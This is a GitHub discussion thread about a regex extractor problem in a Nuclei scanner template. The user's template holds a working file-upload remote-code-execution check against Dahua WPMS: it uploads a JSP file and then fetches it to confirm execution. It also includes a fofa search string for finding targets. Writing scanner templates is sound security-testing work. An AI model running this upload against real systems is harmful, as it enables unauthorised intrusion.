Questions about regex in the Nuclei. #4115
Replies: 6 comments
-
@qianbenhyu , from limited view of your template it seems like you are adding |
Beta Was this translation helpful? Give feedback.
-
it cannot works,
regex:
|
Beta Was this translation helpful? Give feedback.
-
it cannot works, HTTP/1.1 200 OK {"code":1,"data":"ico_res_e2d16c4abe1b_on.jsp"}
|
Beta Was this translation helpful? Give feedback.
-
@qianbenhyu it should work, do you have an example / complete template to share? ![]() |
Beta Was this translation helpful? Give feedback.
-
id: dahua_zhihuiyuanqu_info_leak
info:
name: dahua_zhihuiyuanqu_rce
author: huangyu
severity: high
description: fofa:WPMS/asset/lib/gridster/
reference:
- https://github.com/sunyixuan1228/cve/blob/main/RuiJie-EG.md
tags: tags
requests:
- raw:
- |
POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
User-Agent: Java/1.8.0_345
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 243
Connection: close
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
Content-Disposition: form-data; name="upload"; filename="1.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
<%out.println("{{randstr}}");%>
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--
- |
GET /upload/emap/society_new/ico_res_(.*?)_on.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Java/1.8.0_345
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
matchers:
- type: word
part: body
words:
- "{{randstr}}"
extractors:
- type: regex
name: xxx
part: body
regex:
- 'ico_res_(.*?)_on.jsp'
internal: true
``` |
Beta Was this translation helpful? Give feedback.
-
@qianbenhyu you need to use extractors:
- type: regex
name: xxx
group: 1
part: body
regex:
- 'ico_res_(.*?)_on.jsp'
internal: true |
Beta Was this translation helpful? Give feedback.
Uh oh!
There was an error while loading. Please reload this page.
-
when I write a template, I meet a problem.

as you see, debug tells me "resolved variables found: xxx", I tried twice, but cannot deal with it.
Beta Was this translation helpful? Give feedback.
All reactions